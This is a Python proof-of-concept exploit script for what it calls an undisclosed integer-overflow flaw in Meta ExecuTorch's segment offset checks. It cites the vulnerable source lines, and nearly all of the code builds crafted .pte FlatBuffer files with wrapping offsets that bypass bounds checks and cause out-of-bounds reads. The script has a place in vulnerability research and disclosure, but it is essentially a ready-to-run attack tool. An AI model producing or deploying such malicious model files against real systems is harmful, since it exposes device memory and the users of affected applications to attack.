File size: 4,733 Bytes
229ea7e | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 | #!/usr/bin/env python3
"""
PoC: Unsigned Integer Overflow in Segment Offset Calculations — Meta ExecuTorch
================================================================================
CVE: N/A (0-day)
Target: executorch/runtime/executor/program.cpp (line 592, 609)
executorch/runtime/executor/pte_data_map.cpp (line 58)
Severity: High (Out-of-Bounds Read via Bounds Check Bypass)
VULNERABILITY SUMMARY:
Multiple functions in the ExecuTorch runtime perform unchecked arithmetic
on segment offsets before using the result to load data. These offsets
are read from the .pte FlatBuffer file and are fully attacker-controlled.
BUG 1 — program.cpp:592 (bounds check bypass):
if (offset + size > segment->size()) { // offset + size WRAPS to small value
return Error::InvalidArgument; // check passes incorrectly!
}
BUG 2 — program.cpp:609 (triple addition overflow):
return loader_->load(
segment_base_offset_ + segment->offset() + offset, ...);
BUG 3 — pte_data_map.cpp:58 (double addition overflow):
return loader_->load(
segment_base_offset_ + segment_offset, segment_size, ...);
This script generates .pte files demonstrating both overflow vectors.
Requires: pip install flatbuffers
"""
import struct
import sys
import os
import flatbuffers
FILE_IDENTIFIER = b"ET12"
KERNEL_TYPE_INT = 2
def build_segment_overflow_pte(output_path, segment_offset, segment_size):
builder = flatbuffers.Builder(2048)
builder.StartObject(1)
builder.PrependInt64Slot(0, 0, 0)
int_offset = builder.EndObject()
builder.StartObject(2)
builder.PrependUint8Slot(0, KERNEL_TYPE_INT, 0)
builder.PrependUOffsetTRelativeSlot(1, int_offset, 0)
evalue_offset = builder.EndObject()
builder.StartVector(4, 1, 4)
builder.PrependUOffsetTRelative(evalue_offset)
values_vec = builder.EndVector()
builder.StartVector(4, 1, 4)
builder.PrependInt32(0)
inputs_vec = builder.EndVector()
builder.StartVector(4, 1, 4)
builder.PrependInt32(0)
outputs_vec = builder.EndVector()
builder.StartVector(8, 1, 8)
builder.PrependInt64(0)
non_const_vec = builder.EndVector()
name_str = builder.CreateString("forward")
builder.StartObject(9)
builder.PrependUOffsetTRelativeSlot(0, name_str, 0)
builder.PrependUOffsetTRelativeSlot(2, values_vec, 0)
builder.PrependUOffsetTRelativeSlot(3, inputs_vec, 0)
builder.PrependUOffsetTRelativeSlot(4, outputs_vec, 0)
builder.PrependUOffsetTRelativeSlot(8, non_const_vec, 0)
exec_plan_offset = builder.EndObject()
builder.StartVector(4, 1, 4)
builder.PrependUOffsetTRelative(exec_plan_offset)
exec_plan_vec = builder.EndVector()
builder.StartObject(2)
builder.PrependUint64Slot(0, segment_offset, 0)
builder.PrependUint64Slot(1, segment_size, 0)
segment_entry = builder.EndObject()
builder.StartVector(4, 1, 4)
builder.PrependUOffsetTRelative(segment_entry)
segments_vec = builder.EndVector()
builder.StartVector(8, 1, 8)
builder.PrependUint64(0)
offsets_vec = builder.EndVector()
builder.StartObject(2)
builder.PrependUint32Slot(0, 0, 0)
builder.PrependUOffsetTRelativeSlot(1, offsets_vec, 0)
const_segment = builder.EndObject()
builder.StartObject(8)
builder.PrependUint32Slot(0, 0, 0)
builder.PrependUOffsetTRelativeSlot(1, exec_plan_vec, 0)
builder.PrependUOffsetTRelativeSlot(4, segments_vec, 0)
builder.PrependUOffsetTRelativeSlot(5, const_segment, 0)
program_offset = builder.EndObject()
builder.Finish(program_offset, file_identifier=FILE_IDENTIFIER)
buf = bytes(builder.Output())
with open(output_path, "wb") as f:
f.write(buf)
return buf
def main():
print("PoC: Segment Offset Overflow in Meta ExecuTorch")
UINT64_MAX = (1 << 64) - 1
# Scenario 1: Bounds check bypass
seg_offset = 0xFFFFFFFFFFFF0000
seg_size = 0x0000000000020000
buf1 = build_segment_overflow_pte("malicious_segment_bypass.pte", seg_offset, seg_size)
print(f"Generated: malicious_segment_bypass.pte ({len(buf1)} bytes)")
# Scenario 2: Triple addition overflow
assumed_base = 4096
seg_offset2 = (0 - assumed_base) % (1 << 64)
buf2 = build_segment_overflow_pte("malicious_segment_triple.pte", seg_offset2, 0x1000)
print(f"Generated: malicious_segment_triple.pte ({len(buf2)} bytes)")
# Verify
for path in ["malicious_segment_bypass.pte", "malicious_segment_triple.pte"]:
with open(path, "rb") as f:
data = bytearray(f.read())
assert data[4:8] == FILE_IDENTIFIER
print(f" {path}: Valid ET12 FlatBuffer ({len(data)} bytes)")
if __name__ == "__main__":
main()
|